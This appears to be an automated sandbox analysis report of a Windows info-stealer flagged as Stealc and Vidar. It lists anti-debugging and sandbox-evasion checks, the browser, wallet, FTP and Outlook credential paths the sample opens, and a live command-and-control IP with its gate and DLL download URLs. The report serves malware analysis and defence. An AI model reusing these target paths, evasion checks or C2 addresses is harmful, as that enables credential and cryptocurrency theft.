Source: JKJDAEBF.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59324
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58135
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58138
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58189
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58149
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58157

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000645C0 VirtualProtect ?,00000004,00000100,00000000

0_2_000645C0

Source: C:\Users\user\Desktop\file.exe

0_2_00079860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00079750 mov eax, dword ptr fs:[00000030h]

0_2_00079750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00077850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00077850

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C68B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C68B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6604, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00079600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00079600

Source: file.exe, file.exe, 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: yProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68B341 cpuid

0_2_6C68B341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00077B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00076920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00076920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00077850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00077850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00077A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00077A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2251150787.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2009086212.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6604, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6604, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Electrum
Source: file.exe	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe	String found in binary or memory: \Electrum\wallets\
Source: file.exe	String found in binary or memory: window-state.json
Source: file.exe	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe	String found in binary or memory: exodus.conf.json
Source: file.exe	String found in binary or memory: \Exodus\
Source: file.exe	String found in binary or memory: info.seco
Source: file.exe	String found in binary or memory: ElectrumLTC
Source: file.exe	String found in binary or memory: passphrase.json
Source: file.exe	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe	String found in binary or memory: \Ethereum\
Source: file.exe	String found in binary or memory: \Exodus\
Source: file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: file.exe	String found in binary or memory: \Ethereum\
Source: file.exe	String found in binary or memory: file__0.localstorage
Source: file.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe	String found in binary or memory: \MultiDoge\
Source: file.exe	String found in binary or memory: seed.seco
Source: file.exe	String found in binary or memory: keystore
Source: file.exe	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6604, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2251150787.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2009086212.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6604, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6604, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://185.215.113.37/	100%	Avira URL Cloud	malware
http://185.215.113.37/e2b1563c6670f193.phpimple-storage.json$	100%	Avira URL Cloud	malware
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	Avira URL Cloud	safe
http://185.215.113.37/e2b1563c6670f193.phpp	100%	Avira URL Cloud	malware
http://185.215.113.37/e2b1563c6670f193.phpl	100%	Avira URL Cloud	malware
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	Avira URL Cloud	malware
http://185.215.113.37	100%	Avira URL Cloud	malware
http://185.215.113.37/0d60be0de163924d/sqlite3.dll(	100%	Avira URL Cloud	malware
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	Avira URL Cloud	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	Avira URL Cloud	malware
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	Avira URL Cloud	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	Avira URL Cloud	malware
http://185.215.113.37e2b1563c6670f193.phption:	0%	Avira URL Cloud	safe
http://185.215.113.37/e2b1563c6670f193.php	100%	Avira URL Cloud	malware
http://185.215.113.37/e2b1563c6670f193.phpf	100%	Avira URL Cloud	malware
http://185.215.113.37/e2b1563c6670f193.phpla	100%	Avira URL Cloud	malware
http://185.215.113.37/e2b1563c6670f193.phption:	100%	Avira URL Cloud	malware
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://185.215.113.37/e2b1563c6670f193.phpmR	100%	Avira URL Cloud	malware
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	Avira URL Cloud	malware
http://185.215.113.37/e2b1563c6670f193.phpX	100%	Avira URL Cloud	malware
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	Avira URL Cloud	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dllv	100%	Avira URL Cloud	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	Avira URL Cloud	safe
http://185.215.113.37y	0%	Avira URL Cloud	safe
http://185.215.113.37/e2b1563c6670f193.phpD	100%	Avira URL Cloud	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dllU	100%	Avira URL Cloud	malware
http://185.215.113.37/e2b1563c6670f193.php.	100%	Avira URL Cloud	malware
http://185.215.113.37/e2b1563c6670f193.php3	100%	Avira URL Cloud	malware
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	Avira URL Cloud	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	Avira URL Cloud	safe
http://185.215.113.37/e2b1563c6670f193.phpwser	100%	Avira URL Cloud	malware
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	0%	Avira URL Cloud	safe
http://185.215.113.37/e2b1563c6670f193.php(	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	Avira URL Cloud: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	Avira URL Cloud: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	Avira URL Cloud: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	Avira URL Cloud: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	Avira URL Cloud: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	Avira URL Cloud: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	Avira URL Cloud: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	GCGIDGCG.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	GCGIDGCG.0.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	IJKJDAFHJDHIEBGCFIDB.0.dr	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2272743379.0000000029247000.00000004.00000020.00020000.00000000.sdmp, IJKJDAFHJDHIEBGCFIDB.0.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll(	file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2251150787.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpl	file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpp	file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpimple-storage.json$	file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpla	file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpf	file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2281016179.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2265748455.000000001D190000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpmR	file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	GCGIDGCG.0.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpX	file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	GCGIDGCG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37y	file.exe, 00000000.00000002.2251150787.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllv	file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpD	file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2272743379.0000000029247000.00000004.00000020.00020000.00000000.sdmp, IJKJDAFHJDHIEBGCFIDB.0.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	GHDHDBAECGCAFHJJDAKFHJJEBF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dllU	file.exe, 00000000.00000002.2251150787.0000000000DB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
